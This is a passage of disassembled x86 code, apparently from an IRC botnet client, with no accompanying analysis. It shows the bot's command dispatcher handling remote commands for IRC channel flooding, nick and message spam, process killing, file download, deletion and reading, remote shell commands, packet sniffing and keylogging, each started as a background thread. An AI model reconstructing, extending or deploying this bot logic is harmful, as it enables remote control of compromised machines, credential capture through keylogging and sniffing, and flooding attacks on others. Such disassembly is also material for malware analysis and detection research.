0Ch lea eax, [ebp+var_14F4] push esi push edi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push [ebp+arg_10] push 10h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push eax lea eax, [ebp+var_2C4] push offset unk_42B5AC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B0F6 add esp, 18h mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset byte_40B8A1 push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404BE6 loc_404BD0: ; CODE XREF: sub_401ACD+3117j cmp [ebp+var_13DC], ebx jnz loc_40828B push 32h nop call near ptr 2660F57h jmp short loc_404BD0 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_401ACD+3101j nop call near ptr 2670763h push eax push offset unk_42B56C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_404BF7: ; CODE XREF: sub_401ACD+3036j push edi push offset aReconnect_in ; "reconnect.in" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aRin ; "rin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push edi push offset aRinms ; "rinms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C070 mov edi, dword_427078 pop ecx test eax, eax pop ecx jnz loc_4057DE nop call near ptr 26805CDh push eax call sub_41B8D8 push [ebp+arg_10] push offset aLoad ; "load" call sub_41C070 add esp, 0Ch test eax, eax jnz short loc_404CFD cmp [ebp+esi+var_80], ebx jz short loc_404CFD push [ebp+esi+var_80] call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_417A5F add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B504 push eax call sub_41B886 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CFD push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404CFD: ; CODE XREF: sub_401ACD+31B9j ; sub_401ACD+31BFj ... push [ebp+arg_10] push offset dword_42B500 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404D69 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D69 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_50F4] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_50F4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404D69: ; CODE XREF: sub_401ACD+3241j ; sub_401ACD+324Cj push [ebp+arg_10] push offset dword_42B4E8 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404DD5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DD5 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_4BF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4D4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404DD5: ; CODE XREF: sub_401ACD+32ADj ; sub_401ACD+32B8j push [ebp+arg_10] push offset aNt ; "nt" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404E41 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E41 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_46EC] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_46EC] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404E41: ; CODE XREF: sub_401ACD+3319j ; sub_401ACD+3324j push [ebp+arg_10] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EAD mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404EAD push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_4DF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404EAD: ; CODE XREF: sub_401ACD+3385j ; sub_401ACD+3390j push [ebp+arg_10] push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EEC mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EEC push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404EEC: ; CODE XREF: sub_401ACD+33F1j ; sub_401ACD+33FCj push [ebp+arg_10] push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F2B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F2B push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404F2B: ; CODE XREF: sub_401ACD+3430j ; sub_401ACD+343Bj push [ebp+arg_10] push offset aPartflood ; "partflood" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F6F mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F6F push offset aCyber ; "CYBER" push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404F6F: ; CODE XREF: sub_401ACD+346Fj ; sub_401ACD+347Aj push [ebp+arg_10] push offset aPnick ; "pnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404FE8 cmp [ebp+esi+var_88], ebx jz short loc_404FE8 call near ptr 26805CDh nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+var_88] push offset dword_42B464 push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_17B4] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404FE8: ; CODE XREF: sub_401ACD+34B3j ; sub_401ACD+34BCj push [ebp+arg_10] push offset dword_42B450 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405135 cmp [ebp+esi+var_88], ebx jz loc_405135 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber ; "CYBER" push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 0C8h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405135: ; CODE XREF: sub_401ACD+352Cj ; sub_401ACD+3539j push [ebp+arg_10] push offset dword_42B44C call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4051CF cmp [ebp+esi+var_88], ebx jz short loc_4051CF nop call near ptr 26805CDh push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B424 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 24h loc_4051CF: ; CODE XREF: sub_401ACD+3679j ; sub_401ACD+3686j push [ebp+arg_10] push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4052D1 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_4052D1 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 lea eax, [ebp+var_4BC] push eax call sub_417ADD add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 1F4h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_4052D1: ; CODE XREF: sub_401ACD+3713j ; sub_401ACD+3722j push [ebp+arg_10] push offset aChgnick ; "chgnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405318 lea eax, [ebp+var_1808] push eax call sub_417ADD pop ecx lea eax, [ebp+var_1808] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_405318: ; CODE XREF: sub_401ACD+3815j push [ebp+arg_10] push offset aMsg ; "msg" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405407 cmp [ebp+esi+var_88], ebx jz loc_405407 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405407: ; CODE XREF: sub_401ACD+385Cj ; sub_401ACD+3869j push [ebp+arg_10] push offset aNotice_0 ; "notice" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4054F6 cmp [ebp+esi+var_88], ebx jz loc_4054F6 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_4054F6: ; CODE XREF: sub_401ACD+394Bj ; sub_401ACD+3958j push [ebp+arg_10] push offset aCtcp ; "ctcp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40560D cmp [ebp+esi+var_88], ebx jz loc_40560D push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B3DC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3C4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3AC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3AC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_40560D: ; CODE XREF: sub_401ACD+3A3Aj ; sub_401ACD+3A47j push [ebp+arg_10] push offset aMix ; "mix" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405733 cmp [ebp+esi+var_88], ebx jz loc_405733 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B3DC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405733: ; CODE XREF: sub_401ACD+3B51j ; sub_401ACD+3B5Ej push [ebp+arg_10] push offset aRegister ; "register" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405779 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_405779 push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405779: ; CODE XREF: sub_401ACD+3C77j ; sub_401ACD+3C82j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4062C3 mov edi, offset dword_4D400C loc_405795: ; CODE XREF: sub_401ACD+3CE7j cmp dword ptr [edi-4], 1 jnz short loc_4057A8 mov eax, [edi] cmp eax, ebx jbe short loc_4057A8 push eax call dword_4CB00C loc_4057A8: ; CODE XREF: sub_401ACD+3CCCj ; sub_401ACD+3CD2j add edi, 210h cmp edi, offset dword_4DA72C jl short loc_405795 cmp [ebp+var_8], ebx jnz loc_4062C3 push ebx push [ebp+var_4] push offset unk_42B34C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4062C3 ; --------------------------------------------------------------------------- loc_4057DE: ; CODE XREF: sub_401ACD+3195j mov edi, [ebp+arg_8] push edi push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aN ; "n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aJ ; "j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aPt ; "pt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aRaw ; "raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aKillthread ; "killthread" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aK ; "k" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aC_quit ; "c_quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_q ; "c_q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_rndnick ; "c_rndnick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aC_rn ; "c_rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aPrefix ; "prefix" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aPr ; "pr" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aOpen ; "open" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aO ; "o" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aServer ; "server" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aSe ; "se" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aDns ; "dns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aDn ; "dn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aKillproc ; "killproc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKp ; "kp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKill ; "kill" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aKi ; "ki" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aDel ; "del" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aGet ; "get" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aGt ; "gt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aList ; "list" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aLi ; "li" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aVisit ; "visit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aV ; "v" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aMirccmd ; "mirccmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aMirc ; "mirc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aCmd ; "cmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aCm ; "cm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aReadfile ; "readfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aRf ; "rf" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aPsniff ; "psniff" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C7B push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C41 push 20h call sub_40B33E test eax, eax pop ecx jle short loc_405B6B push offset dword_42B24C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405B6B: ; CODE XREF: sub_401ACD+4092j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405BAD mov esi, offset aF_1 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405BAD mov esi, [ebp+var_88] loc_405BAD: ; CODE XREF: sub_401ACD+40C2j ; sub_401ACD+40D8j push esi lea eax, [ebp+var_EC0] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B21C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push ebx push eax push offset byte_411FD5 push ebx push ebx call near ptr 2670000h nop mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_405C30 loc_405C1A: ; CODE XREF: sub_401ACD+4161j cmp [ebp+var_E34], ebx jnz loc_40828B push 32h nop call near ptr 2660F57h jmp short loc_405C1A ; --------------------------------------------------------------------------- loc_405C30: ; CODE XREF: sub_401ACD+414Bj nop call near ptr 2670763h push eax push offset dword_42B1E0 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C41: ; CODE XREF: sub_401ACD+4082j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 20h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405C71 push eax push offset dword_42B1A4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_401ACD+4197j push offset dword_42B178 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405C7B: ; CODE XREF: sub_401ACD+406Bj push edi push offset aSniffer ; "sniffer" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405DCD push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405D93 push 21h call sub_40B33E test eax, eax pop ecx jle short loc_405CBD push offset unk_42B150 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405CBD: ; CODE XREF: sub_401ACD+41E4j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405CFF mov esi, offset aF_1 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405CFF mov esi, [ebp+var_88] loc_405CFF: ; CODE XREF: sub_401ACD+4214j ; sub_401ACD+422Aj push esi lea eax, [ebp+var_FE8] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B120 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_412660 push ebx push ebx call near ptr 2670000h nop mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_405D82 loc_405D6C: ; CODE XREF: sub_401ACD+42B3j cmp [ebp+var_F5C], ebx jnz loc_40828B push 32h nop call near ptr 2660F57h jmp short loc_405D6C ; --------------------------------------------------------------------------- loc_405D82: ; CODE XREF: sub_401ACD+429Dj nop call near ptr 2670763h push eax push offset unk_42B0E4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405D93: ; CODE XREF: sub_401ACD+41D4j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 21h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405DC3 push eax push offset unk_42B0A4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405DC3: ; CODE XREF: sub_401ACD+42E9j push offset unk_42B074 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405DCD: ; CODE XREF: sub_401ACD+41BDj push edi push offset aIdent ; "ident" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405EA2 push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405E68 push 2 call sub_40B33E test eax, eax pop ecx jle short loc_405E0B push offset dword_42B04C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405E0B: ; CODE XREF: sub_401ACD+4332j lea eax, [ebp+var_2C4] push offset dword_42B020 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_4101FC push ebx push ebx call near ptr 2670000h nop imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz loc_40828B nop call near ptr 2670763h push eax push offset dword_42AFEC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E68: ; CODE XREF: sub_401ACD+4326j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 2 call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405E98 push eax push offset dword_42AFB4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E98: ; CODE XREF: sub_401ACD+43BEj push offset dword_42AF94 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405EA2: ; CODE XREF: sub_401ACD+430Fj push edi push offset aKeylog ; "keylog" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40601F push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 23h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405F0E push eax push offset dword_42AF48 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_401ACD+4434j push offset dword_42AF1C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F18: ; CODE XREF: sub_401ACD+4400j ; sub_401ACD+440Fj push 23h call sub_40B33E test eax, eax pop ecx jle short loc_405F2E push offset dword_42AEFC jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F2E: ; CODE XREF: sub_401ACD+4455j mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push edi mov [ebp+var_BD4], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F5B mov [ebp+var_BD0], 1 jmp short loc_405F64 ; --------------------------------------------------------------------------- loc_405F5B: ; CODE XREF: sub_401ACD+4480j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_405F64: ; CODE XREF: sub_401ACD+448Cj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_405F8B mov esi, offset aF_0 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F8B mov esi, [ebp+var_88] loc_405F8B: ; CODE XREF: sub_401ACD+44A0j ; sub_401ACD+44B6j push esi lea eax, [ebp+var_C54] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42AED8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 23h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C5C] push ebx push eax push offset dword_411CF4 push ebx push ebx nop call near ptr 2670000h mov ecx, 